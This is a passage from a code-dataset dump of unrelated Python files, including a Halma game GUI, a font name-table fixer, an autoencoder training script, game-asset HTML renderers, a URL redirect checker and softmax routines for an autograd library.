","sub_path":"string_array.py","file_name":"string_array.py","file_ext":"py","file_size_in_byte":2244,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"474427510","text":"# Python Standard Library imports\nimport tkinter as tk\nfrom typing import Dict, List, Any\n\n\nclass Board(tk.Tk):\n\n def __init__(self, game, gamemessage):\n\n # Initialize parent tk class\n tk.Tk.__init__(self)\n self.buttonframe = tk.Frame(self)\n self.buttonframe.grid(row=0, column=0, pady=2, padx=2, sticky=\"NSEW\")\n self.messageframe = tk.Frame(self)\n self.messageframe.grid(row=1, column=0, pady=2, padx=2, sticky=\"NSEW\")\n self.currentmessage = gamemessage\n self.avaliablemoves = False\n\n # title text\n self.wm_title(\"Halma!!!!\")\n self.resizable(False, False)\n self.buttons = {}\n self.clicked = False\n self.secondClicked = ()\n\n self.asletter = {\n 0: \"a\",\n 1: \"b\",\n 2: \"c\",\n 3: \"d\",\n 4: \"e\",\n 5: \"f\",\n 6: \"g\",\n 7: \"h\",\n 8: \"i\",\n 9: \"j\",\n 10: \"k\",\n 11: \"l\",\n 12: \"m\",\n 13: \"n\",\n 14: \"o\",\n 15: \"p\",\n }\n\n for elem in game.board:\n if game.board[elem] == 2:\n self.buttons[elem[0], elem[1]] = tk.Button(self.buttonframe, bg='red', width=4, height=2,\n command=lambda row=elem[0], col=elem[1]: onclick(row, col))\n\n self.buttons[elem[0], elem[1]].grid(row=elem[0], column=elem[1], pady=2, padx=2, sticky=\"NSEW\")\n\n elif game.board[elem] == 1:\n self.buttons[elem[0], elem[1]] = tk.Button(self.buttonframe, bg='green', width=4, height=2,\n command=lambda row=elem[0], col=elem[1]: onclick(row, col))\n\n self.buttons[elem[0], elem[1]].grid(row=elem[0], column=elem[1], pady=2, padx=2, sticky=\"NSEW\")\n\n else:\n self.buttons[elem[0], elem[1]] = tk.Button(self.buttonframe, bg='white', width=4, height=2,\n command=lambda row=elem[0], col=elem[1]: onclick(row, col))\n\n self.buttons[elem[0], elem[1]].grid(row=elem[0], column=elem[1], pady=2, padx=2, sticky=\"NSEW\")\n\n self.displaymessage = tk.Label(self.messageframe, text=gamemessage, anchor=\"nw\")\n self.displaymessage.grid(row=len(game.board), column=0, pady=2, padx=2, )\n\n def onclick(row, col):\n if not self.clicked:\n self.clicked = (row, col)\n else:\n self.secondClicked = (row, col)\n\n self.current_move = self.asletter[self.clicked[0]] + str(self.clicked[1]) + \"->\" + \\\n self.asletter[self.secondClicked[0]] + str(self.secondClicked[1])\n\n game.action(self.clicked, self.secondClicked, game.current_player)\n \n # Update current player\n if game.current_player == 1:\n game.current_player = 2\n\n else:\n # AI making move\n to_move = game.utility(2)\n self.clicked = to_move\n moves = game.moveGenerator(2)\n self.secondClicked = moves[to_move]\n game.action(self.clicked, self.secondClicked, game.current_player)\n game.current_player = 1\n \n Board(game, game.gameMessage)\n","sub_path":"boardclass.py","file_name":"boardclass.py","file_ext":"py","file_size_in_byte":3459,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"246273126","text":"#!/data/data/com.termux/files/usr/bin/env python\n# coding=utf-8\nimport os\n\nfrom crawler import (get_html_mp4, check_duplicate,\n convert_myanmar_number, get_json,\n thread_download, update_raw_titles_links,\n thread_upload, thread_upload_test)\n\n\nfull_path = os.path.realpath(__file__)\npath, filename = os.path.split(full_path)\nos.chdir(path)\n\n\n#thread_upload_test('raw_json_title.txt')\n\nthread_upload('raw_json_title.txt', 1)\n","sub_path":"AshinSandaThiri/dhammadownload/upload.py","file_name":"upload.py","file_ext":"py","file_size_in_byte":480,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"653477094","text":"# coding: utf-8\n# Copyright 2013 The Font Bakery Authors. All Rights Reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n#\n# See AUTHORS.txt for the list of Authors and LICENSE.txt for the License.\nfrom bakery_cli.ttfont import Font\nfrom fontTools.ttLib.tables._n_a_m_e import NameRecord\n\n\ndef findOrCreateNameRecord(names, nameId, platformId=3, langId=0x409, platEncId=1):\n result_namerec = None\n for namerec in names:\n if (namerec.nameID == nameId and namerec.platformID == platformId\n and namerec.langID == langId):\n result_namerec = namerec\n break\n if result_namerec:\n return result_namerec\n\n ot_namerecord = NameRecord()\n ot_namerecord.nameID = nameId\n ot_namerecord.platformID = platformId\n ot_namerecord.langID = langId\n\n # When building a Unicode font for Windows, the platform ID\n # should be 3 and the encoding ID should be 1\n ot_namerecord.platEncID = platEncId\n\n names.append(ot_namerecord)\n return ot_namerecord\n\n\nmapping = {\n 'Thin': 'Regular',\n 'Extra Light': 'Regular',\n 'Light': 'Regular',\n 'Regular': 'Regular',\n 'Medium': 'Regular',\n 'SemiBold': 'Regular',\n 'Extra Bold': 'Regular',\n 'Black': 'Regular',\n\n 'Thin Italic': 'Italic',\n 'Extra Italic Light': 'Italic',\n 'Light Italic': 'Italic',\n 'Italic Italic': 'Italic',\n 'Medium Italic': 'Italic',\n 'SemiBold Italic': 'Italic',\n 'Extra Bold Italic': 'Italic',\n 'Black Italic': 'Italic',\n\n 'Bold': 'Bold',\n 'Bold Italic': 'Bold Italic'\n}\n\n\ndef fix(fontpath):\n ttfont = Font.get_ttfont(fontpath)\n\n ot_namerecord = findOrCreateNameRecord(ttfont['name'].names, 16)\n ot_namerecord.string = ttfont.familyname.encode(\"utf_16_be\")\n\n ot_namerecord = findOrCreateNameRecord(ttfont['name'].names, 17)\n ot_namerecord.string = mapping.get(ttfont.stylename, 'Regular').encode(\"utf_16_be\")\n\n ot_namerecord = findOrCreateNameRecord(ttfont['name'].names, 18)\n ot_namerecord.string = ttfont.fullname.encode(\"utf_16_be\")\n\n ttfont.save(fontpath + '.fix')\n","sub_path":"bakery_cli/scripts/opentype.py","file_name":"opentype.py","file_ext":"py","file_size_in_byte":2572,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"148756154","text":"#!/usr/bin/env python\n# The goal of this script is to load VGG layers, freeze them and use these build a autoencoder based on that\n\nimport os\nimport time\nimport cv2\nimport numpy as np\nfrom utils import load_data, normalize_data, display_results\nfrom keras.callbacks import EarlyStopping, ModelCheckpoint, TensorBoard\nfrom network_utils import create_modified_vgg_model_deeper_ms, compute_weights\n# from keras.preprocessing.image import ImageDataGenerator\nfrom keras.preprocessing.image import load_img, img_to_array, list_pictures\n\nos.environ[\"CUDA_DEVICE_ORDER\"] = \"PCI_BUS_ID\" # see issue #152\nos.environ[\"CUDA_VISIBLE_DEVICES\"] = \"1\"\n\n# This scripts tries to replicate the textures present in the training images\nstarting_dir = os.getcwd()\n\nmaster_folder = '/home/gcx/lstm_sequences/autoencoder-200/'\n\nos.chdir(starting_dir)\n\ndef image_generator(list_of_files_x, list_of_files_y, img_size, to_grayscale=False):\n while True:\n filename_idx = np.random.randint(0, len(list_of_files_x))\n filename_x = list_of_files_x[filename_idx]\n filename_y = list_of_files_y[filename_idx]\n\n try:\n x = img_to_array(load_img(filename_x, to_grayscale)) / 255.\n y = img_to_array(load_img(filename_y))[:, :, 0] / 255.\n _weights = compute_weights(y.reshape(1, img_size * img_size), img_size)\n _weights = _weights.reshape((img_size*img_size))\n # y = np.reshape(y, (y.shape[0], y.shape[1], 1))\n y = y.reshape((img_size*img_size, 1, 1))\n except:\n print('Error on loading rountine!')\n return\n\n yield (x, y, _weights)\n\n\ndef group_by_batch(dataset, batch_size):\n while True:\n try:\n sources, targets, weights = zip(*[next(dataset) for i in xrange(batch_size)])\n batch = (np.stack(sources), np.stack(targets), np.stack(weights))\n yield batch\n except:\n print('error on grouping routine')\n return\n\n\ndef load_dataset(directory, batch_size, _img_size, stage):\n print('directory + stage + x_:', directory + stage + '/x_' + stage)\n print('directory + stage + y_:', directory + stage + '/y_' + stage)\n x_files = list_pictures(directory + stage + '/x_' + stage)\n y_files = list_pictures(directory + stage + '/y_' + stage)\n\n generator = image_generator(x_files, y_files, _img_size)\n generator = group_by_batch(generator, batch_size)\n return generator\n\n\nimg_size = 200\n\nnew_model = create_modified_vgg_model_deeper_ms(img_size)\n\nnew_model.compile(optimizer='adadelta', loss='binary_crossentropy', sample_weight_mode='temporal')\n\ncurrent_date = time.strftime('%Y%m%d')\ncurrent_time = time.strftime('%H%M')\nmodel_fn = 'models/autoencoder_vgg_based_dg' + '.ep{epoch:02d}-ls{loss:.5f}' + '_' \\\n + current_date + '_' + current_time + '.h5'\n\ncb_modelCheckpoint = ModelCheckpoint(model_fn, monitor='val_loss',\n verbose=0, save_best_only=True,\n save_weights_only=False, mode='min', period=1)\n\ncb_EarlyStopping = EarlyStopping(monitor='val_loss', min_delta=0, patience=10, verbose=1, mode='min')\n\n# TRAIN\n\nbatch_size = 64\n\nnb_epoch = 100\ntrain_set = load_dataset('data-4/', batch_size, img_size, stage='train')\ntest_set = load_dataset('data-4/', batch_size, img_size, stage='test')\nfile_list = list_pictures('data-4/train/x_train/')\ntest_file_list = list_pictures('data-4/test/x_test/')\nfile_list_number = len(file_list)\ntest_file_list_number = len(test_file_list)\n\nnb_steps_per_epoch = file_list_number/float(batch_size)\nnb_validation_steps = test_file_list_number / float(batch_size)\n\nnew_model.fit_generator(train_set,\n validation_data=test_set,\n steps_per_epoch=nb_steps_per_epoch,\n nb_epoch=nb_epoch,\n callbacks=[TensorBoard(log_dir='/tmp/autoencoder_vgg_based_DG'),\n cb_modelCheckpoint],\n validation_steps=nb_validation_steps)\n\nprint('finished training')\n\n# LOAD DATA\nprint('loading test data..')\nx_test, y_test = load_data(master_folder, 'test/', img_size)\nprint('loading terminated.')\n\nos.chdir(starting_dir)\n\n# normalize images\nx_test, _ = normalize_data(x_test, img_size)\n\n# normalize ground truth\ny_test, y_test_vectorized = normalize_data(y_test, img_size)\n\n# replicate images along channels dimension\nx_test_rgb = np.zeros((x_test.shape[0],x_test.shape[1],x_test.shape[2],3))\nx_test_rgb = np.stack((x_test[:, :, :, 0], x_test[:, :, :, 0], x_test[:, :, :, 0]), axis=3)\n\n# create sample weights for Y_TEST\nsample_weights_test = compute_weights(y_test_vectorized, img_size)\n\n# Evalute and get prediction\nprint('result of evaluation: ', new_model.evaluate(x_test_rgb, y_test_vectorized, batch_size, 1))\nreconstructed_imgs = new_model.predict(x_test_rgb)\n\nn = 100 # how many digits we will display\nstep_size = 23\n\nfigure_name = 'fig1_vgg_ae_dg.png'\ndisplay_results(x_test, y_test, reconstructed_imgs, img_size, step_size, n, figure_name)\n\ncv2.namedWindow('test')\ncv2.waitKey(0)\nprint('finished script!')","sub_path":"vgg_autoencoder_dataGenerator.py","file_name":"vgg_autoencoder_dataGenerator.py","file_ext":"py","file_size_in_byte":5091,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"383214722","text":"import scipy.io as sio\nfrom auxilliary import Aux\nfrom neuron_object import Neuron\nimport numpy as np\n\ndef load_creat_aux_3_mat(fname):\n\treturn sio.loadmat(fname)\n\ndef load_make_tree_mat(fname):\n\treturn sio.loadmat(fname)\n\ndef clean_make_tree_mat(mat):\n\tret = {}\n\tret['j'] = mat['j'][0][0]\n\tret['SegStartI'] = mat['SegStartI'][0]\n\tret['seg'] = mat['seg'][0]\n\tret['Father'] = mat['Father'][0]\n\tret['Ksx'] = mat['Ksx'][0]\n\tret['Nx'] = mat['Nx'][0][0]\n\tret['FF'] = mat['FF'][0][0]\n\tret['RFathers'] = mat['RFathers'][0]\n\tret['RelEnds'] = mat['RelEnds'][0]\n\tauxDict = {}\n\tauxDict['Data'] = mat['Aux'][0][0][0][0]\n\tauxDict['Ks'] = None\n\tauxDict['FIdxsX'] = None\n\tauxDict['LognDepth'] = None\n\tauxDict['SonNoVec'] = None\n\tret['Aux'] = auxDict\n\tret['RelCN'] = mat['RelCN'][0]\n\tret['Parent'] = mat['Parent'][0]\n\tret['CallForFathers'] = mat['CallForFathers'][0]\n\tret['FatherBase'] = mat['FatherBase'][0]\n\tret['ToWhoTheyCall'] = mat['ToWhoTheyCall'][0]\n\tret['FTYPESTR'] = mat['FTYPESTR'][0]\n\tret['__version__'] = mat['__version__']\n\tret['cmVec'] = mat['cmVec'][0]\n\tret['A'] = mat['A'][0]\n\tret['ToWhichFatherDoTheyCall'] = mat['ToWhichFatherDoTheyCall']\n\tret['Level'] = mat['Level'][0]\n\tret['NSeg'] = mat['NSeg'][0]\n\tret['LognDepth'] = mat['LognDepth'][0]\n\tret['N'] = mat['N'][0]\n\tret['Ks'] = mat['Ks'][0]\n\tret['ParentUsed'] = mat['ParentUsed'][0]\n\tret['SonNoVec'] = mat['SonNoVec'][0]\n\tret['parentIndex'] = mat['parentIndex'][0][0]\n\tret['CurF'] = mat['CurF'][0]\n\tret['e'] = mat['e'][0]\n\tret['d'] = mat['d'][0]\n\tret['FLevel'] = mat['FLevel'][0]\n\tret['f'] = mat['f'][0]\n\tret['i'] = mat['i'][0][0]\n\tret['k'] = mat['k'][0][0]\n\tret['__header__'] = mat['__header__']\n\trelated = []\n\tfor i in mat['Related'][0]:\n\t\tif i.size == 1:\n\t\t\trelated.append((i[0][0]))\n\t\telse:\n\t\t\trelated.append((i[0][0], i[0][1]))\n\tret['Related'] = related\n\tret['__globals__'] = mat['__globals__']\n\tret['NN'] = mat['NN'][0]\n\tret['FN_TopoList'] = mat['FN_TopoList'][0]\n\tret['SegEndI'] = mat['SegEndI'][0]\n\tret['RelStarts'] = mat['RelStarts'][0]\n\tret['Fathers'] = mat['Fathers'][0]\n\tret['RelVec'] = mat['RelVec'][0]\n\treturn ret\n\ndef create_aux(cleaned):\n\tret = Aux();\n\tret.Ks = cleaned['Ks']\n\treturn ret\n\ndef load_input_csv(file_name):\n\tf = open(file_name, 'r')\n\td = {}\n\tfor i in f:\n\t\ttemp = i[:len(i) - 2].split(',')\n\t\tname = temp[0]\n\t\tvalues = [int(j) for j in temp[1:]]\n\t\td[name] = values\n\treturn d\n\ndef clean_creat_aux_3_mat(mat):\n\tret = {}\n\tret['Parent'] = mat['Parent'][0]\n\tret['__globals__'] = mat['__globals__']\n\tret['NSeg'] = mat['NSeg'][0]\n\tret['__header__'] = mat['__header__']\n\tret['N'] = mat['N'][0][0]\n\tret['cmVec'] = mat['cmVec'][0]\n\tret['FN_TopoList'] = mat['FN_TopoList'][0]\n\tret['A'] = mat['A']\n\tret['Neuron'] = {}\n\tret['Neuron']['Cms'] = np.array([i[0] for i in mat['Neuron']['Cms'][0][0]])\n\tret['Neuron']['HasHH'] = mat['Neuron']['HasHH'][0][0]\n\tret['Neuron']['SegStart'] = mat['Neuron']['SegStart'][0][0][0]\n\tret['Neuron']['NSegs'] = mat['Neuron']['NSegs'][0][0]\n\tret['Neuron']['SegToComp'] = mat['Neuron']['SegToComp'][0][0][0]\n\tret['Neuron']['HasHH'] = mat['Neuron']['HasHH'][0][0]\n\treturn ret\n\ndef create_neuron(cleaned):\n\tret = Neuron()\n\tret.Cms = cleaned['Neuron']['Cms']\n\tret.HasHH = cleaned['Neuron']['HasHH']\n\tret.SegStart = cleaned['Neuron']['SegStart']\n\tret.NSegs = cleaned['Neuron']['NSegs']\n\tret.SegToComp = cleaned['Neuron']['SegToComp']\n\tret.HasHH = cleaned['Neuron']['HasHH']\n\treturn ret\n\ndef get_lines(file_name):\n\tlines = []\n\twith open(file_name, 'r') as f:\n\t\tfor line in f:\n\t\t\tlines.append(line[:-1])\n\treturn lines\n\ndef put_lines(file_name, lines):\n\twith open(file_name, 'w') as f:\n\t\tfor line in lines:\n\t\t\tf.write(str(line) + '\\n')\n","sub_path":"NeuroGPU_Base/file_io.py","file_name":"file_io.py","file_ext":"py","file_size_in_byte":3623,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"454352378","text":"#!/usr/bin/env python\n\nfrom copy import copy\nimport game_assets\nfrom utils import get_logger\nfrom string import capwords, Template\nimport json\n\ndef game_asset_to_json(asset_key, asset_model):\n d = {'name': asset_key}\n a_dict = asset_model.get_asset(asset_key)\n for k,v in a_dict.iteritems():\n d[k] = v\n return d\n\n\nclass Model:\n \"\"\" This is the base class for all model classes. It provides the basic\n methods that all model objects (e.g. Innovations, Resources, etc.) have to\n support.\"\"\"\n\n def __init__(self):\n self.logger = get_logger()\n\n def load_settlement(self, settlement_object=None):\n \"\"\" NB: any object that subclsases this has to have its own, private\n initialize_API_assets() method, or else this will explode in your face.\n \"\"\"\n\n self.Settlement = settlement_object\n if hasattr(self.Settlement, \"api_asset\"):\n self.initialize_API_assets()\n\n def get_asset(self, game_asset_key):\n return self.game_assets[game_asset_key]\n\n def get_keys(self, exclude_if_attrib_exists=None, Settlement=None):\n keys = []\n for asset_key in self.game_assets.keys():\n if not exclude_if_attrib_exists in self.game_assets[asset_key]:\n keys.append(asset_key)\n if Settlement is not None:\n for asset_key in keys:\n asset_dict = self.get_asset(asset_key)\n if \"expansion\" in asset_dict.keys() and asset_dict[\"expansion\"] not in Settlement.get_expansions(\"list_of_names\"):\n keys.remove(asset_key)\n return keys\n\n def get_pretty_name(self):\n self.pretty_name = self.name.replace(\"_\", \" \").title()\n if self.name == \"ability\":\n self.pretty_name = \"Ability or Impairment\"\n return self.pretty_name\n\n\n def get_forbidden(self, settlement_object=None):\n \"\"\" Checks all assets for whether they are forbidden by settlement\n attributes, i.e. whether they're on a 'forbidden' list. \"\"\"\n\n forbidden = set()\n for game_asset in self.get_keys():\n c_dict = settlement_object.get_campaign(\"dict\")\n if game_asset in settlement_object.get_campaign(\"forbidden\"):\n forbidden.add(game_asset)\n\n return forbidden\n\n\n def get_always_available(self, settlement_object=None):\n \"\"\" Checks all assets in the model against the settlement attributes and\n their own attributes to see if they're on an 'always_available' list\n or whether they have the 'always_available' attrib. Returns a list of\n ones that do. \"\"\"\n\n campaign = settlement_object.get_campaign()\n expansions = settlement_object.get_expansions(\"list_of_names\")\n\n always_available = set()\n for game_asset in self.get_keys():\n\n # first check the campaign\n c_dict = settlement_object.get_campaign(\"dict\")\n if \"always_available\" in c_dict and game_asset in c_dict[\"always_available\"]:\n always_available.add(game_asset)\n\n # then check the expansions\n for e in expansions:\n e_dict = game_assets.expansions.get(e, None)\n if e_dict is not None:\n if \"always_available\" in e_dict.keys() and game_asset in e_dict[\"always_available\"]:\n always_available.add(game_asset)\n\n # finally, check the asset itself\n asset_dict = self.get_asset(game_asset)\n if \"always_available\" in asset_dict.keys():\n always_available.add(game_asset)\n\n # normatively speaking, forbidden trumps always_available (someone's got\n # to have precedence, you know?)\n forbidden = settlement_object.get_campaign(\"forbidden\")\n always_available = list(always_available)\n for game_asset in always_available:\n if game_asset in forbidden:\n always_available.remove(game_asset)\n always_available = set(always_available)\n\n return always_available\n\n\n def render_as_html_toggle_dropdown(self, selected=None, submit_on_change=True, expansions=[]):\n \"\"\" Creates a single dropdown for the model where 'None' is selected by\n by default, but the user can toggle to something else from the list of\n asset keys. \"\"\"\n\n self.get_pretty_name()\n options = self.get_keys()\n\n for o in options:\n if \"expansion\" in self.get_asset(o) and self.get_asset(o)[\"expansion\"] not in expansions:\n options.remove(o)\n\n\n soc = \"\"\n if submit_on_change:\n soc = \"this.form.submit()\"\n\n if selected is None:\n selected = \"-\"\n elif selected == \"\":\n selected = \"-\"\n\n output = '\\n\\t\\n'\n\n return output\n\n\n def render_as_html_dropdown(self, submit_on_change=True, exclude=[], disable=[], excluded_type=None, Settlement=None, survivor_id=None, select_type=\"string\"):\n \"\"\" Renders the model as an HTML dropdown and returns a string. Use the\n 'submit_on_change' kwarg to control whether it submits on change.\n\n Use the 'exclude' kwarg to prevent certain keys from showing up in the\n resuting render.\n\n Use the 'include' kwarg to force the option list to only show certain\n options in the render.\n\n Use 'disabled' to provide a list of options that, if present, will be\n greyed out/disabled in the resulting pick-list.\n\n The 'include_principles' kwarg is a hack that forces innovation lists to\n be returned without principle-type innovations.\n \"\"\"\n\n self.get_pretty_name()\n options = self.get_keys()\n\n for excluded_key in exclude:\n if excluded_key in options:\n options.remove(excluded_key)\n\n # exclude if the asset wants to be excluded\n for self_ex_asset in self.get_keys():\n if \"exclude_from_picker\" in self.get_asset(self_ex_asset) and self_ex_asset in options:\n options.remove(self_ex_asset)\n\n # exclude by type\n if excluded_type is not None:\n excluded_assets = []\n for asset in self.get_keys():\n if \"type\" in self.get_asset(asset).keys() and self.get_asset(asset)[\"type\"] == excluded_type:\n excluded_assets.append(asset)\n for excluded_key in excluded_assets:\n options.remove(excluded_key)\n\n # exclude by expansion and campaign rules if we've got a Settlement obj\n excluded_assets = []\n if Settlement is not None:\n for asset in options:\n if \"expansion\" in self.get_asset(asset).keys() and self.get_asset(asset)[\"expansion\"] not in Settlement.get_expansions(\"list_of_names\"):\n excluded_assets.append(asset)\n if asset in Settlement.get_campaign(\"forbidden\"):\n excluded_assets.append(asset)\n for excluded_key in excluded_assets:\n options.remove(excluded_key)\n\n if options == []:\n # stop here if we've got no options to return\n return \"\\n\" % self.name\n else:\n options = sorted(options)\n\n\n if select_type==\"angularjs\":\n options_list = []\n for o in options:\n options_list.append(game_asset_to_json(o, self))\n\n html_stub = Template(\"\"\"\\n\n \n \n \n \\n\"\"\")\n\n output = html_stub.safe_substitute(\n pretty_name = self.pretty_name,\n asset_name = self.name,\n options_json=options_list,\n survivor_id=survivor_id,\n )\n output +=\"\\n\\n\"\n else:\n if submit_on_change:\n submit_on_change = \"this.form.submit(); showFullPageLoader();\"\n\n output = \"\"\"\\n\\t\\n'\n\n return output\n\n\n#\n# Define and initialize all models below here ONLY!\n# All of these have to have a self.game_assets dictionary that includes all of\n# of the game assets associated with the model class.\n#\n# self.name, by the bye, should be the singular appelation used in forms to\n# add/remove the game asset from one of our application assets, e.g. \n# add_item/remove_item, add_disorder/remove_disorder, etc.\n#\n\n\nclass locationsModel(Model):\n def __init__(self):\n Model.__init__(self)\n self.game_assets = game_assets.locations\n self.sort_alpha = True\n self.uniquify = True\n self.name = \"location\"\n\nclass itemsModel(Model):\n def __init__(self):\n Model.__init__(self)\n self.game_assets = game_assets.items\n self.name = \"item\"\n\n def render_as_html_multiple_dropdowns(self, recently_added=[], expansions=[]):\n \"\"\" New storage UI. \"\"\"\n\n output = \"\"\n\n def render_location(output, pretty_location_name=None, item_list=[]):\n \"\"\" Helper function for programmatically generating item drop-down\n lists. This should be refactored to be buttons one day. \"\"\"\n\n output += '\\n

    '\n return output\n\n # start creating output\n if recently_added != []:\n output = render_location(output, pretty_location_name=\"Recently Added\", item_list=recently_added)\n\n # get locations based on location attributes of items\n locations = set()\n for item_key in self.get_keys():\n item_asset = self.get_asset(item_key)\n if \"expansion\" in item_asset.keys() and item_asset[\"expansion\"] not in expansions:\n pass\n else:\n locations.add(item_asset[\"location\"])\n\n location_dict = {}\n for location in locations:\n location_dict[location] = set()\n\n for item_key in self.get_keys():\n item = self.get_asset(item_key)\n if \"expansion\" in item.keys() and item[\"expansion\"] not in expansions:\n pass\n else:\n location_dict[item[\"location\"]].add(item_key)\n\n # finally, use the location list to start creating html\n locations = sorted(list(locations))\n for location_key in locations:\n if location_key in Locations.get_keys():\n loc_asset = Locations.get_asset(location_key)\n if \"expansion\" in loc_asset and loc_asset[\"expansion\"] not in expansions:\n pass\n else:\n output = render_location(output, pretty_location_name=location_key, item_list=sorted(location_dict[location_key]))\n else:\n output = render_location(output, pretty_location_name=location_key, item_list=sorted(location_dict[location_key]))\n\n return output\n\n\n\n def render_as_html_dropdown_with_divisions(self, recently_added=[]):\n \"\"\" Old storage UI. Deprecated. \"\"\"\n\n locations = set()\n for item_key in self.get_keys():\n locations.add(self.get_asset(item_key)[\"location\"])\n\n location_dict = {}\n for location in locations:\n location_dict[location] = set()\n\n for item_key in self.get_keys():\n item = self.get_asset(item_key)\n location_dict[item[\"location\"]].add(item_key)\n\n locations = sorted(list(locations))\n output = '\\n\\n'\n\n return output\n\n\n\nclass resourcesModel(Model):\n def __init__(self):\n Model.__init__(self)\n self.game_assets = game_assets.resources\n\n\n\n# initialize all of our classes above when this module is imported\nLocations = locationsModel()\nItems = itemsModel()\nResources = resourcesModel()\n\n#\n# mutually exclusive principles\n#\n\nmutually_exclusive_principles = {\n \"Death\": (\"Graves\", \"Cannibalize\"),\n \"New Life\": (\"Protect the Young\", \"Survival of the Fittest\"),\n \"Society\": (\"Collective Toil\", \"Accept Darkness\"),\n \"Conviction\": (\"Romantic\", \"Barbaric\"),\n }\n\n\n\n","sub_path":"v1/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":14384,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"26984680","text":"import sys\nimport urllib\nimport requests\ndef ValidateURL():\n\n fo = open(\"/home/kgokhale/LATTE-1050/Find_Redirect/Result_True.txt\",\"r+\")\n for line in urllib.urlopen('/home/kgokhale/LATTE-1050/Find_Redirect/To_Validate.txt'):\n r = requests.get(line.strip(\"\\r\\n\"), allow_redirects=True)\n r.status_code\n r.history\n r.url\n\n writeOriginalURL = \"Original URL: \" + str(line)\n writeStatusCode = \"Status code: \" + str(r.status_code) + \"\\n\"\n writeHistory = \"Redirected Status Code: \" + str(r.history) + \"\\n\"\n writeUrl = \"Redirected URL: \" + str(r.url) + \"\\n\" + \"\\n\"\n\n fo.write(writeOriginalURL)\n fo.write(writeStatusCode)\n fo.write(writeHistory)\n fo.write(writeUrl)\n fo.close()\n\ndef main():\n ValidateURL()\nmain()","sub_path":"LATTE-1050-Redirect-Url.py","file_name":"LATTE-1050-Redirect-Url.py","file_ext":"py","file_size_in_byte":797,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"47827313","text":"import numpy as np\n\nfrom mygrad.math._special import logsumexp as _logsumexp\nfrom mygrad.operation_base import Operation\nfrom mygrad.tensor_base import Tensor\n\n\ndef _softmax(x, kwargs):\n x = x - x.max(**kwargs)\n if np.issubdtype(x.dtype, np.integer):\n x = x.astype(np.float)\n if x.ndim > 0:\n np.exp(x, out=x)\n x /= x.sum(**kwargs)\n else:\n x = np.ones_like(x)\n return x\n\n\nclass Softmax(Operation):\n scalar_only = True\n\n def __call__(self, a, axis=-1):\n self.variables = (a,)\n x = a.data\n\n self._kw = dict(axis=axis, keepdims=True)\n\n return _softmax(x, self._kw)\n\n def backward_var(self, grad, index, **kwargs):\n a = self.variables[index]\n soft = _softmax(a.data, self._kw)\n sg = soft * grad\n return sg - soft * np.sum(sg, **self._kw)\n\n\ndef softmax(x, axis=-1, constant=False):\n r\"\"\"\n Applies the softmax activation function::\n\n f(x) = exp(x) / sum( exp(x) )\n\n Computes the softmax over one or more axes of an ND-tensor.\n\n Parameters\n ----------\n x : array_like\n\n axis : Union[None, int, Tuple[int, ...]], optional (default=-1)\n The axis/axes over which to compute the softmax.\n By default, the softmax is computed over the trailing axis.\n\n constant : bool, optional(default=False)\n If ``True``, the returned tensor is a constant (it\n does not back-propagate a gradient)\n\n Returns\n -------\n mygrad.Tensor\n\n Notes\n -----\n - :math:`N` is the number of samples in the batch.\n - :math:`C` is the number of possible classes for which scores are provided.\n\n This implements a numerically-stable version of softmax, however\n log-softmax is still the more numerically stable activation function.\n\n Given the shape-:math:`(N, C)` tensor of scores, ``x``, the softmax classification\n probabilities are computed. That is, the score for class-:math:`k` of a given datum\n (:math:`s_{k}`) is normalized using the 'softmax' transformation:\n\n .. math::\n p_{k} = \\frac{e^{s_k}}{\\sum_{i=1}^{C}{e^{s_i}}}\n\n Examples\n --------\n >>> import mygrad as mg\n >>> from mygrad.nnet import softmax\n >>> x = mg.Tensor([[ 2., 2., 2.],\n ... [2E50, 2E50, 1E50]])\n >>> softmax(x)\n Tensor([[0.33333333, 0.33333333, 0.33333333],\n [0.5 , 0.5 , 0. ]])\n \"\"\"\n return Tensor._op(Softmax, x, op_kwargs=dict(axis=axis), constant=constant)\n\n\nclass LogSoftmax(Operation):\n scalar_only = True\n\n def __call__(self, a, axis=-1):\n self.variables = (a,)\n x = a.data\n\n self._kw = dict(axis=axis, keepdims=True)\n return x - _logsumexp(x, **self._kw)\n\n def backward_var(self, grad, index, **kwargs):\n a = self.variables[index]\n x = a.data\n soft = _softmax(x, self._kw)\n return grad - soft * np.sum(grad, **self._kw)\n\n\ndef logsoftmax(x, axis=-1, constant=False):\n r\"\"\"\n Applies the log-softmax activation function::\n\n f(x) = log ( exp(x) / sum( exp(x) ) )\n\n Computes the log-softmax over one or more axes of an ND-tensor.\n\n Parameters\n ----------\n x : array_like\n\n axis : Union[None, int, Tuple[int, ...]], optional (default=-1)\n The axis/axes over which to compute the log-softmax.\n By default, the log-softmax is computed over the trailing axis.\n\n constant : bool, optional(default=False)\n If ``True``, the returned tensor is a constant (it\n does not back-propagate a gradient)\n\n Returns\n -------\n log_softmax : mygrad.Tensor\n Tensor with same shape as ``x``\n\n Notes\n -----\n - :math:`N` is the number of samples in the batch.\n - :math:`C` is the number of possible classes for which scores are provided.\n\n This implements a numerically-stable version of log-softmax, compared\n to the naive implementation using ``mygrad.log``, ``mygrad.exp``, and\n ``mygrad.sum``.\n\n Given the shape-:math:`(N, C)` tensor of scores, ``x``, the softmax classification\n probabilities are computed. That is, the score for class-:math:`k` of a given datum\n (:math:`s_{k}`) is normalized using the 'softmax' transformation:\n\n .. 